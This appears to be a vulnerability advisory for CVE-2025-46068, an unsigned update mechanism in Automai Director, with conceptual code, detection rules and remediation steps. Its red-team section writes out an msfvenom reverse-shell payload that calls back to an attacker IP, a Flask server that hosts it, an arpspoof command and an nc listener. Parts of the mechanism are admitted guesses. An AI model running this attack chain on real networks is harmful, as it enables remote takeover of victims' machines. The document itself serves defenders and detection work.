CVE-2025-46068

Executive Summary

CVE-2025-46068 is a critical vulnerability in Automai Director v25.2.0 that allows a remote attacker to execute arbitrary code via the update mechanism. The flaw resides in the software update process, which fails to validate the authenticity or integrity of update packages. An attacker can perform a man-in-the-middle attack or host a malicious update server to deliver arbitrary code, leading to full system compromise. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the lack of mitigations.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise application (Automai Director) and its update mechanism, which is a supply chain risk for organizations using this software.

CVSS Breakdown & Threat Level

CVSS Vector: UNKNOWN (no official vector assigned).
Based on the description, the vulnerability likely scores high (8.0–10.0) due to:

• Attack Vector (AV): Network (remote exploitation)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None (unauthenticated)
• User Interaction (UI): None (automatic update process)
• Scope (S): Changed (attacker can affect resources beyond the update mechanism)
• Confidentiality (C): High (arbitrary code execution)
• Integrity (I): High (malicious code can modify system)
• Availability (A): High (can disrupt service)

Threat Level: Critical – Remote code execution with no authentication required.

Deep Dive & Mechanics

The vulnerability exists in the update mechanism of Automai Director v25.2.0. The software likely checks for updates by connecting to a remote server (e.g., updates.automai.com or similar) and downloading a package (e.g., .msi, .exe, or .zip). The flaw is that the client does not verify the digital signature, checksum, or SSL certificate of the update server. An attacker can:

1. Perform DNS spoofing or ARP poisoning to redirect update requests to a malicious server.
2. Host a fake update server that responds with a crafted payload.
3. The client downloads and executes the payload with SYSTEM or high privileges.

The update mechanism may use HTTP instead of HTTPS, or accept self-signed certificates without validation. The lack of integrity checks (e.g., SHA-256 hash verification) allows arbitrary code injection.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is in the update client (likely a Windows service or scheduled task). A hypothetical fix would involve:

• Enforcing HTTPS with certificate pinning.
• Digitally signing update packages and verifying signatures before execution.
• Implementing checksum validation (e.g., SHA-256) against a known-good value.

Vulnerable code snippet (conceptual):

# Vulnerable update client (pseudo-code)
import requests
import subprocess

def check_update():
    response = requests.get("http://updates.automai.com/latest.exe")
    with open("update.exe", "wb") as f:
        f.write(response.content)
    subprocess.run("update.exe")  # No integrity check

Patched code (hypothetical):

import requests
import hashlib
import subprocess

def check_update():
    response = requests.get("https://updates.automai.com/latest.exe")
    expected_hash = "abc123..."
    actual_hash = hashlib.sha256(response.content).hexdigest()
    if actual_hash != expected_hash:
        raise Exception("Integrity check failed")
    with open("update.exe", "wb") as f:
        f.write(response.content)
    subprocess.run("update.exe")

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Attacker machine with a web server (e.g., Python Flask or Apache).
• Ability to perform MITM (e.g., ARP spoofing on the same network).
• Target running Automai Director v25.2.0.

Steps:

1. Set up a malicious update server:

   # Create a malicious payload (e.g., reverse shell)
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o update.exe
   

2. Host the payload:

   # server.py
   from flask import Flask, send_file
   app = Flask(__name__)
   @app.route('/latest.exe')
   def serve():
       return send_file('update.exe')
   if __name__ == '__main__':
       app.run(host='0.0.0.0', port=80)
   

3. Perform ARP spoofing to redirect update requests:

   arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
   

4. Wait for the target to check for updates (or trigger manually).
5. Receive reverse shell on listener:

   nc -lvnp 4444
   

Blue Team (Detection & Defense)

Detection:

• Monitor outbound connections to unknown IPs on port 80/443 from the Automai Director process.
• Look for unexpected DNS queries or ARP anomalies.
• Check for unsigned executables in the update directory (e.g., C:\ProgramData\Automai\Updates\).

Defense:

• Block outbound HTTP connections from the Automai Director process.
• Use a web proxy with SSL inspection to validate update server certificates.
• Implement network segmentation to isolate the Director server.
• Monitor file integrity on the update directory.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_46068_Automai_Update
{
    meta:
        description = "Detects malicious update executables targeting Automai Director"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46068"
    strings:
        $s1 = "Automai" ascii wide nocase
        $s2 = "update" ascii wide nocase
        $s3 = "Director" ascii wide nocase
    condition:
        all of them and filesize < 10MB
}

Sigma Rule

title: Suspicious Automai Director Update Activity
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-46068 via update mechanism
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\\update.exe'
        ParentImage|endswith: '\\AutomaiDirector.exe'
    condition: selection
falsepositives:
    - Legitimate updates from official server
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46068 - Automai Director Malicious Update Download"; flow:to_server; content:"GET"; http_method; content:"/latest.exe"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable automatic updates in Automai Director (if configurable).
2. Block outbound connections to updates.automai.com or any update server via firewall.
3. Monitor for unauthorized update attempts using the provided detection rules.

Long-term Fix:

• Contact Automai for an official patch (no patch available as of this report).
• Consider migrating to an alternative solution if the vendor remains unresponsive.
• Implement a web application firewall (WAF) or proxy to inspect update traffic.

Workaround:

• Manually verify update packages before installation using a checksum from a trusted source.
• Use a local update server with strict access controls.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-46068